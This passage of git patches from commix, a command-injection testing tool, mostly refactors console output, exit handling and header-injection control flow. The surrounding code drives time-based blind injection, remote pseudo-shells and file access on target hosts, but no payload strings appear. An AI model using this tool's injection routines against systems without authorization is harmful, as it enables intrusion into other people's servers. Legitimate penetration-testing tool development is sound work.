settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: + settings.SKIP_CODE_INJECTIONS = False _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dc4911a06c..155b743aa1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -392,12 +392,11 @@ def user_agent_injection(url, http_request_method, filename, timesec): if not menu.options.shellshock: menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - if settings.USER_AGENT_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.USER_AGENT_INJECTION = None + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): @@ -407,12 +406,11 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True - if settings.REFERER_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.REFERER_INJECTION = False + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -421,12 +419,11 @@ def host_injection(url, http_request_method, filename, timesec): menu.options.host = _urllib.parse.urlparse(url).netloc menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True - if settings.HOST_INJECTION: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): - settings.HOST_INJECTION = False + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = False menu.options.host = host if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ diff --git a/src/core/main.py b/src/core/main.py index 5141ec6d28..95091f24c8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -329,8 +329,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.CUSTOM_INJECTION_MARKER = False + # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: + # settings.CUSTOM_INJECTION_MARKER = False # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/utils/settings.py b/src/utils/settings.py index b44f444c3b..d83439472a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0bea897b24de10e884a20ef03833e8cb9e04bb28 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Jun 2024 08:55:56 +0300 Subject: [PATCH 474/560] Minor update --- src/core/injections/controller/checks.py | 11 ++++------- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f7e39096f1..7d0f18804c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -228,7 +228,7 @@ def skip_testing(filename, url): if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: - settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " @@ -524,8 +524,7 @@ def PCRE_e_modifier(parameter, http_request_method): elif modifier_check in settings.CHOICE_NO: return original_parameter elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(modifier_check) pass @@ -948,8 +947,7 @@ def ps_check(): elif ps_check in settings.CHOICE_NO: break elif ps_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(ps_check) pass @@ -1011,8 +1009,7 @@ def check_CGI_scripts(url): menu.options.shellshock = False break elif shellshock_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) + raise SystemExit() else: common.invalid_option(shellshock_check) pass diff --git a/src/utils/settings.py b/src/utils/settings.py index d83439472a..14605a330b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ebe84fac8a3f06db3590fd447434627d5ffef16e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Jun 2024 08:33:20 +0300 Subject: [PATCH 475/560] Improvement regarding writing text to the stdout (console) stream --- commix.py | 2 +- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_enumeration.py | 22 +- .../techniques/time_based/tb_file_access.py | 8 +- .../blind/techniques/time_based/tb_handler.py | 30 +- .../techniques/time_based/tb_injector.py | 42 +-- src/core/injections/controller/checks.py | 322 +++++++++--------- src/core/injections/controller/controller.py | 36 +- src/core/injections/controller/parser.py | 27 +- .../injections/controller/shell_options.py | 10 +- .../techniques/classic/cb_handler.py | 28 +- .../techniques/classic/cb_injector.py | 11 +- .../techniques/eval_based/eb_handler.py | 26 +- .../techniques/eval_based/eb_injector.py | 7 +- .../techniques/file_based/fb_handler.py | 38 +-- .../techniques/file_based/fb_injector.py | 14 +- .../tempfile_based/tfb_enumeration.py | 22 +- .../tempfile_based/tfb_file_access.py | 8 +- .../techniques/tempfile_based/tfb_handler.py | 30 +- .../techniques/tempfile_based/tfb_injector.py | 40 +-- src/core/main.py | 155 +++++---- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/shellshock.py | 64 ++-- src/core/requests/authentication.py | 36 +- src/core/requests/headers.py | 26 +- src/core/requests/parameters.py | 10 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 6 +- src/core/requests/requests.py | 90 +++-- src/core/requests/tor.py | 8 +- src/core/shells/bind_tcp.py | 58 ++-- src/core/shells/reverse_tcp.py | 70 ++-- src/core/tamper/base64encode.py | 4 +- src/core/tamper/hexencode.py | 4 +- src/core/testing.py | 10 +- src/thirdparty/flatten_json/flatten_json.py | 4 +- src/utils/common.py | 62 ++-- src/utils/crawler.py | 20 +- src/utils/install.py | 64 ++-- src/utils/logs.py | 12 +- src/utils/menu.py | 10 +- src/utils/purge.py | 67 +--- src/utils/session_handler.py | 28 +- src/utils/settings.py | 25 +- src/utils/simple_http_server.py | 4 +- src/utils/update.py | 72 ++-- src/utils/version.py | 4 +- 47 files changed, 803 insertions(+), 838 deletions(-) diff --git a/commix.py b/commix.py index d6dabe01ba..d7e607bbbe 100755 --- a/commix.py +++ b/commix.py @@ -42,7 +42,7 @@ def main(): raise SystemExit() except IndentationError as err_msg: from src.utils import settings - print(settings.print_critical_msg(err_msg) + ".\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except: from src.utils import common diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8dbfda995e..a28aaeefbf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding writing text to the stdout (console) stream. * Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index e549298325..edcebea6fa 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -79,13 +79,13 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") + settings.print_data_to_stdout("") check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: @@ -99,7 +99,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") + settings.print_data_to_stdout("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -194,7 +194,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 @@ -213,49 +213,49 @@ def reset(): if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index e781aa6293..6e0002f668 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -56,11 +56,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0 and not _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) """ @@ -74,7 +74,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) """ @@ -91,7 +91,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) """ diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 898664609c..631271bd24 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -131,7 +131,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -252,14 +252,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r continue except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -274,7 +274,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r percent = "" else: percent = ".. (" + str(float_percent) + "%)" - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise @@ -324,7 +324,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -333,7 +333,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -353,7 +353,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: @@ -377,19 +377,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else : - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. @@ -405,12 +405,12 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " warn_msg += "with the file-based (semiblind) technique." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) go_back = False while True: if go_back == True: return False - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index f933775410..cd3e9010c6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -188,7 +188,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. @@ -209,7 +209,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -243,10 +243,10 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) else: sub_content = "Retrieved: " + str(output_length) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) found_chars = True injection_check = False break @@ -267,8 +267,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: info_msg += "\n" if output_length > 1: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -291,7 +291,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -331,8 +331,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = ".. (" + str(float_percent) + "%)" info_msg = "Presuming the execution output." info_msg += float_percent - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + else: output.append(chr(ascii_char)) injection_check = False @@ -374,10 +374,10 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Checking the output length of the used payload. if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") for output_length in range(1, 3): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) @@ -397,7 +397,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -436,13 +436,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = [] percent = 0 - sys.stdout.flush() + is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(".") + settings.print_data_to_stdout(".") if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) @@ -463,7 +463,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -502,7 +502,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese if str(output) == str(randvcalc): if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(" (done)") + settings.print_data_to_stdout(" (done)") return how_long, output else: @@ -515,10 +515,10 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - print(settings.print_info_msg(info_msg)) - print(settings.print_output(output)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_output(output)) else: # Check if exists pipe filtration. if output != False : @@ -526,10 +526,10 @@ def export_injection_results(cmd, separator, output, check_how_long): err_msg += "any output due to '" + separator + "' filtration on target host. " err_msg += "To bypass that limitation, use the '--alter-shell' option " err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() # Check for fault command. else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d0f18804c..8c6daf0fe7 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -59,7 +59,7 @@ def exit(): if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Ending")) + settings.print_data_to_stdout(settings.execution("Ending")) os._exit(0) @@ -70,9 +70,9 @@ def exit(): def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) info_msg = "Checking if the target is protected by some kind of WAF/IPS." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload if not "?" in url: payload = "?" + payload @@ -197,7 +197,7 @@ def custom_injection_marker_character(url, http_request_method): def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ Skipping of further tests. @@ -271,13 +271,13 @@ def mobile_user_agents(): def alert(): if settings.ALERT: info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: process = subprocess.Popen(menu.options.alert, shell=True) process.wait() except Exception as e: err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Check for HTTP Method @@ -311,7 +311,7 @@ def user_aborted(filename, url): abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." - print(settings.print_abort_msg(abort_msg)) + settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) quit(filename, url, _=True) """ @@ -324,7 +324,7 @@ def connection_exceptions(err_msg): time.sleep(settings.DELAY_RETRY) if not settings.MULTI_TARGETS and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -348,7 +348,7 @@ def not_declared_cookies(response): settings.DECLARED_COOKIES = False else: if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " message += "server wants to set its own ('" @@ -383,7 +383,7 @@ def tab_autocompleter(): readline.set_completer(menu.tab_completer) except (TypeError, AttributeError) as e: error_msg = "Failed while trying to use platform's readline library." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Save command history. @@ -395,7 +395,7 @@ def save_cmd_history(): readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Testing technique (title) @@ -403,7 +403,7 @@ def save_cmd_history(): def testing_technique_title(injection_type, technique): if settings.VERBOSITY_LEVEL != 0: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Injection process (percent) @@ -411,8 +411,8 @@ def testing_technique_title(injection_type, technique): def injection_process(injection_type, technique, percent): if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + """ Percentage calculation @@ -449,7 +449,7 @@ def load_cmd_history(): warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + 